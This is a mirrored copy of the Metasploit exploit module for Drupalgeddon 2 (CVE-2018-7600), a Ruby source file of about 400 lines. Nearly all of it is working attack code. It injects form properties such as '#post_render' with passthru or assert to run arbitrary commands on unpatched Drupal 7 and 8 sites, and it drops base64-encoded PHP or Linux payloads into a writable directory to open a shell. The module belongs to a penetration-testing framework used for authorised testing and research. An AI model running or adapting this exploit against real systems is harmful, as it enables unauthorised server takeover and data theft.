CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HTTP::Drupal
11
# XXX: CmdStager can't handle badchars
12
include Msf::Exploit::PhpEXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
19
'Description' => %q{
20
This module exploits a Drupal property injection in the Forms API.
21
22
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
23
},
24
'Author' => [
25
'Jasper Mattsson', # Vulnerability discovery
26
'a2u', # Proof of concept (Drupal 8.x)
27
'Nixawk', # Proof of concept (Drupal 8.x)
28
'FireFart', # Proof of concept (Drupal 7.x)
29
'wvu' # Metasploit module
30
],
31
'References' => [
32
['CVE', '2018-7600'],
33
['URL', 'https://www.drupal.org/sa-core-2018-002'],
34
['URL', 'https://greysec.net/showthread.php?tid=2912'],
35
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
36
['URL', 'https://github.com/a2u/CVE-2018-7600'],
37
['URL', 'https://github.com/nixawk/labs/issues/19'],
38
['URL', 'https://github.com/FireFart/CVE-2018-7600']
39
],
40
'DisclosureDate' => '2018-03-28',
41
'License' => MSF_LICENSE,
42
'Platform' => ['php', 'unix', 'linux'],
43
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
44
'Privileged' => false,
45
'Payload' => {'BadChars' => '&>\''},
46
'Targets' => [
47
#
48
# Automatic targets (PHP, cmd/unix, native)
49
#
50
['Automatic (PHP In-Memory)',
51
'Platform' => 'php',
52
'Arch' => ARCH_PHP,
53
'Type' => :php_memory
54
],
55
['Automatic (PHP Dropper)',
56
'Platform' => 'php',
57
'Arch' => ARCH_PHP,
58
'Type' => :php_dropper
59
],
60
['Automatic (Unix In-Memory)',
61
'Platform' => 'unix',
62
'Arch' => ARCH_CMD,
63
'Type' => :unix_memory
64
],
65
['Automatic (Linux Dropper)',
66
'Platform' => 'linux',
67
'Arch' => [ARCH_X86, ARCH_X64],
68
'Type' => :linux_dropper
69
],
70
#
71
# Drupal 7.x targets (PHP, cmd/unix, native)
72
#
73
['Drupal 7.x (PHP In-Memory)',
74
'Platform' => 'php',
75
'Arch' => ARCH_PHP,
76
'Version' => Rex::Version.new('7'),
77
'Type' => :php_memory
78
],
79
['Drupal 7.x (PHP Dropper)',
80
'Platform' => 'php',
81
'Arch' => ARCH_PHP,
82
'Version' => Rex::Version.new('7'),
83
'Type' => :php_dropper
84
],
85
['Drupal 7.x (Unix In-Memory)',
86
'Platform' => 'unix',
87
'Arch' => ARCH_CMD,
88
'Version' => Rex::Version.new('7'),
89
'Type' => :unix_memory
90
],
91
['Drupal 7.x (Linux Dropper)',
92
'Platform' => 'linux',
93
'Arch' => [ARCH_X86, ARCH_X64],
94
'Version' => Rex::Version.new('7'),
95
'Type' => :linux_dropper
96
],
97
#
98
# Drupal 8.x targets (PHP, cmd/unix, native)
99
#
100
['Drupal 8.x (PHP In-Memory)',
101
'Platform' => 'php',
102
'Arch' => ARCH_PHP,
103
'Version' => Rex::Version.new('8'),
104
'Type' => :php_memory
105
],
106
['Drupal 8.x (PHP Dropper)',
107
'Platform' => 'php',
108
'Arch' => ARCH_PHP,
109
'Version' => Rex::Version.new('8'),
110
'Type' => :php_dropper
111
],
112
['Drupal 8.x (Unix In-Memory)',
113
'Platform' => 'unix',
114
'Arch' => ARCH_CMD,
115
'Version' => Rex::Version.new('8'),
116
'Type' => :unix_memory
117
],
118
['Drupal 8.x (Linux Dropper)',
119
'Platform' => 'linux',
120
'Arch' => [ARCH_X86, ARCH_X64],
121
'Version' => Rex::Version.new('8'),
122
'Type' => :linux_dropper
123
]
124
],
125
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
126
'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
127
'Notes' => {
128
'Stability' => [CRASH_SAFE],
129
'SideEffects' => [],
130
'Reliability' => [],
131
'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
132
))
133
134
register_options([
135
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
136
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
137
])
138
139
register_advanced_options([
140
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
141
])
142
end
143
144
def check
145
checkcode = CheckCode::Unknown
146
147
@version = target['Version'] || drupal_version
148
149
unless @version
150
vprint_error('Could not determine Drupal version to target')
151
return checkcode
152
end
153
154
vprint_status("Drupal #{@version} targeted at #{full_uri}")
155
checkcode = CheckCode::Detected
156
157
changelog = drupal_changelog(@version)
158
159
unless changelog
160
vprint_error('Could not determine Drupal patch level')
161
return checkcode
162
end
163
164
case drupal_patch(changelog, 'SA-CORE-2018-002')
165
when nil
166
vprint_warning('CHANGELOG.txt no longer contains patch level')
167
when true
168
vprint_warning('Drupal appears patched in CHANGELOG.txt')
169
checkcode = CheckCode::Safe
170
when false
171
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
172
checkcode = CheckCode::Appears
173
end
174
175
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
176
token = rand_str
177
res = execute_command(token, func: 'printf')
178
179
return checkcode unless res
180
181
if res.body.start_with?(token)
182
vprint_good('Drupal is vulnerable to code execution')
183
checkcode = CheckCode::Vulnerable
184
end
185
186
checkcode
187
end
188
189
def exploit
190
unless @version
191
print_warning('Targeting Drupal 7.x as a fallback')
192
@version = Rex::Version.new('7')
193
end
194
195
if datastore['PAYLOAD'] == 'cmd/unix/generic'
196
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
197
# XXX: Naughty datastore modification
198
datastore['DUMP_OUTPUT'] = true
199
end
200
201
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
202
case target['Type']
203
when :php_memory
204
execute_command(payload.encoded, func: 'assert')
205
206
sleep(wfs_delay)
207
return if session_created?
208
209
# XXX: This will spawn a *very* obvious process
210
execute_command("php -r '#{payload.encoded}'")
211
when :unix_memory
212
execute_command(payload.encoded)
213
when :php_dropper, :linux_dropper
214
dropper_assert
215
216
sleep(wfs_delay)
217
return if session_created?
218
219
dropper_exec
220
end
221
end
222
223
def dropper_assert
224
php_file = Pathname.new(
225
"#{datastore['WritableDir']}/#{rand_str}.php"
226
).cleanpath
227
228
# Return the PHP payload or a PHP binary dropper
229
dropper = get_write_exec_payload(
230
writable_path: datastore['WritableDir'],
231
unlink_self: true # Worth a shot
232
)
233
234
# Encode away potential badchars with Base64
235
dropper = Rex::Text.encode_base64(dropper)
236
237
# Stage 1 decodes the PHP and writes it to disk
238
stage1 = %Q{
239
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
240
}
241
242
# Stage 2 executes said PHP in-process
243
stage2 = %Q{
244
include_once("#{php_file}");
245
}
246
247
# :unlink_self may not work, so let's make sure
248
register_file_for_cleanup(php_file)
249
250
# Hopefully pop our shell with assert()
251
execute_command(stage1.strip, func: 'assert')
252
execute_command(stage2.strip, func: 'assert')
253
end
254
255
def dropper_exec
256
php_file = "#{rand_str}.php"
257
tmp_file = Pathname.new(
258
"#{datastore['WritableDir']}/#{php_file}"
259
).cleanpath
260
261
# Return the PHP payload or a PHP binary dropper
262
dropper = get_write_exec_payload(
263
writable_path: datastore['WritableDir'],
264
unlink_self: true # Worth a shot
265
)
266
267
# Encode away potential badchars with Base64
268
dropper = Rex::Text.encode_base64(dropper)
269
270
# :unlink_self may not work, so let's make sure
271
register_file_for_cleanup(php_file)
272
273
# Write the payload or dropper to disk (!)
274
# NOTE: Analysis indicates > is a badchar for 8.x
275
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
276
277
# Attempt in-process execution of our PHP script
278
send_request_cgi(
279
'method' => 'GET',
280
'uri' => normalize_uri(target_uri.path, php_file)
281
)
282
283
sleep(wfs_delay)
284
return if session_created?
285
286
# Try to get a shell with PHP CLI
287
execute_command("php #{php_file}")
288
289
sleep(wfs_delay)
290
return if session_created?
291
292
register_file_for_cleanup(tmp_file)
293
294
# Fall back on our temp file
295
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
296
execute_command("php #{tmp_file}")
297
end
298
299
def execute_command(cmd, opts = {})
300
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
301
302
vprint_status("Executing with #{func}(): #{cmd}")
303
304
res =
305
case @version.to_s
306
when /^7\b/
307
exploit_drupal7(func, cmd)
308
when /^8\b/
309
exploit_drupal8(func, cmd)
310
end
311
312
return unless res
313
314
if res.code == 200
315
print_line(res.body) if datastore['DUMP_OUTPUT']
316
else
317
print_error("Unexpected reply: #{res.inspect}")
318
end
319
320
res
321
end
322
323
def exploit_drupal7(func, code)
324
vars_get = {
325
'q' => 'user/password',
326
'name[#post_render][]' => func,
327
'name[#markup]' => code,
328
'name[#type]' => 'markup'
329
}
330
331
vars_post = {
332
'form_id' => 'user_pass',
333
'_triggering_element_name' => 'name'
334
}
335
336
res = send_request_cgi(
337
'method' => 'POST',
338
'uri' => normalize_uri(target_uri.path),
339
'vars_get' => vars_get,
340
'vars_post' => vars_post
341
)
342
343
return res unless res && res.code == 200
344
345
form_build_id = res.get_html_document.at(
346
'//input[@name = "form_build_id"]/@value'
347
)
348
349
return res unless form_build_id
350
351
vars_get = {
352
'q' => "file/ajax/name/#value/#{form_build_id.value}"
353
}
354
355
vars_post = {
356
'form_build_id' => form_build_id.value
357
}
358
359
send_request_cgi(
360
'method' => 'POST',
361
'uri' => normalize_uri(target_uri.path),
362
'vars_get' => vars_get,
363
'vars_post' => vars_post
364
)
365
end
366
367
def exploit_drupal8(func, code)
368
# Clean URLs are enabled by default and "can't" be disabled
369
uri = normalize_uri(target_uri.path, 'user/register')
370
371
vars_get = {
372
'element_parents' => 'account/mail/#value',
373
'ajax_form' => 1,
374
'_wrapper_format' => 'drupal_ajax'
375
}
376
377
vars_post = {
378
'form_id' => 'user_register_form',
379
'_drupal_ajax' => 1,
380
'mail[#type]' => 'markup',
381
'mail[#post_render][]' => func,
382
'mail[#markup]' => code
383
}
384
385
send_request_cgi(
386
'method' => 'POST',
387
'uri' => uri,
388
'vars_get' => vars_get,
389
'vars_post' => vars_post
390
)
391
end
392
393
def rand_str
394
Rex::Text.rand_text_alphanumeric(8..42)
395
end
396
397
end
398
399